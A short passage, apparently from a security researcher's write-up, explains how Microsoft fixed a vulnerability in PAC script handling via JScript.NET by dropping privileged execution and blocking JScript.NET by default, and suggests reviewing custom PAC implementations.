Microsoft fixed this in two ways, first they "fixed" the JScript code to not execute under a privileged permission set as well as passing an appropriate evidence object to the Assembly load. And secondly they basically blocked use of JScript.NET by default (see the notes in the KB article here). If you ever find a custom implementation of PAC scripts in an application it's always worth a quick look to see what they're using.